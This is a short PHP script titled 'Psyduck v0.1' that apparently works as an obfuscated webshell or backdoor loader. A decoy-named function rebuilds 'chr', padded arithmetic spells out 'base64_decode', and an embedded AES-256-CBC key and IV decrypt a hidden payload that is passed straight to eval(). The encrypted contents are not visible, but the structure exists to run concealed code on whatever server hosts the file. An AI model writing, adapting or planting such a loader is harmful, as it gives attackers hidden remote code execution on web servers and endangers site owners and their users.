Psyduck - 可達鴨 之 鴨力山大 v0.1

<?php
function aggregate_results($z)
{
    $j = array(2 * 57, 2 * 52, 66 + 33);
    $e = '';
    foreach ($j as $g) {
        $e .= chr($g);
    }
    $e = strrev($e);
    return $e($z);
}

$xpp = array(98 + 9 + 5 - (9 + 5) + 6 + 4 - (6 + 4), 97 * 1 / 1 - 17 + 17, 115 + 1 - 1 + 18 - 18, 101 * 101 / 101 + 3 + 1 - (3 + 1) + 4 - 4 + 7 + 1 - (7 + 1), 54 * 18 / 18 * 2 / 2 + 8 + 8 - (8 + 8) + 12 - 12, 52 * 1 / 1 * 52 / 52 - 15 + 15 + 9 - 9, (95 + 3 + 10 - (3 + 10) + 5 - 5 * 1) / 1 + 2 - 2, 100 + 3 + 6 - (3 + 6) + 14 - 14 - 16 + 16 + 7 + 8 - (7 + 8) + 12 - 12, 101 + 8 + 10 - (8 + 10) + 6 - 6 + 18 - 18, 99 - 10 + 10 + 7 + 7 - (7 + 7), 111 + 18 - 18 + 2 + 8 - (2 + 8) + 4 + 5 - (4 + 5) - 7 + 7 + 8 + 2 - (8 + 2), 100 * 4 / 4 + 7 + 1 - (7 + 1) + 4 - 4 + 6 - 6, 101 + 9 - 9 + 5 + 3 - (5 + 3));
$dpi = '';
foreach ($xpp as $kqe) {
    $dpi .= aggregate_results($kqe);
}
$tgl = 'yndNs80G2n1uQ3FPj4CSvXL4KG9Nxt7Wu3VQLcMkeTVKN8WPAPBe+wMozW4zQQ1fWoTwdSEPr05oXCQ+zlJ5mrE8YrXk9176yTV6uIx859qIXJtpujIxvXoqYvGPZ4O+CqEjHQ063zRvvGTFZX+SzunmUxD/PxkBjnZ4YGBbSmFTsBUwtbBs0Qn1o5sxZbFgmUz16tVS9APskaKk/uZ46kV9lVt/CL5feky7OmyYD2BwpBWOeXYig5bTPO5o+xwHBeIYEAaawKezjvZ+OpHzgM6SKlEK/ZwYUyeA6qr8U5S+VDhTxARDkqI/Aim0lUR1cahH4s5FA+G/Z+v6ueyMBCFLLS7/Qa7LEf3mW7hlP9N02YVDqYxJs9hGBXyi33tMIC7qyUk9VIzzf/AzAtn+egKRp5sxJrSouYDejKyr1G8BKlFW+kd0xDw20SJx5uzuV1l8gUYGXE1df8GYOzhSpU7I+RKFpyOvtMTup5DeAx/xRi826xMHy4iLcoje3jlDyF1W3bf5KANXy1YBhtKSTbWZgWB4BwiS9pA020TwznukDwvLpSx8e1XkYv94ZLx/VsboZEDravDujQ/QhfLTCdpKw4yiiENmOPbgXm38qJ+m559d70DWc1OjJ0nvmAUKJaz1mA4QRmbtBudQ2O5pB+sGkRwAKYQOBckce+Rq/m551kiL8FTHe2nyrKS6EgDQhUz/+VBW8Cass7jeJJjEUTGiDZYGV/AnA+4afx2ElGGY9WBRsxRBGQtSKHOzTJaG11kZDCt7LqI+gpwk4oY6kGkV/9KbmMU9qatP9Z2FkiOt5kHFsVJHBAFvPgJ44jhbpihkFs4LHGzMr+1ZwaqHDJEoirklSXrqQPJFxoFrjQ2FH5rqalaNfuC5uJvsdRktFLKqFc4q5eT/4ssY3yA8VpYli9Lko4HLG8JjFG9XgHwVDUbuqGfAPdHX/Szab6OHWrdjR9Tb0By14ZJp2Wze/cY+8vbSpv6rbd8580rBMxPq5JilnVYhjJpMu/VnO2VlLkPLvQ5FNsAEu/J0WJB22B63Yp32MkHHVO/ScduMHHA=';
$cof = '8sofSnDC+yxmmomCnFK4rPMqunUG0ot+SQOFgLtnODM=';
$cuk = '/loeMSkjoLGcYU4XieVCOg==';
$cbn = openssl_decrypt($dpi($tgl), 'aes-256-cbc', $dpi($cof), OPENSSL_RAW_DATA, $dpi($cuk));
eval($cbn);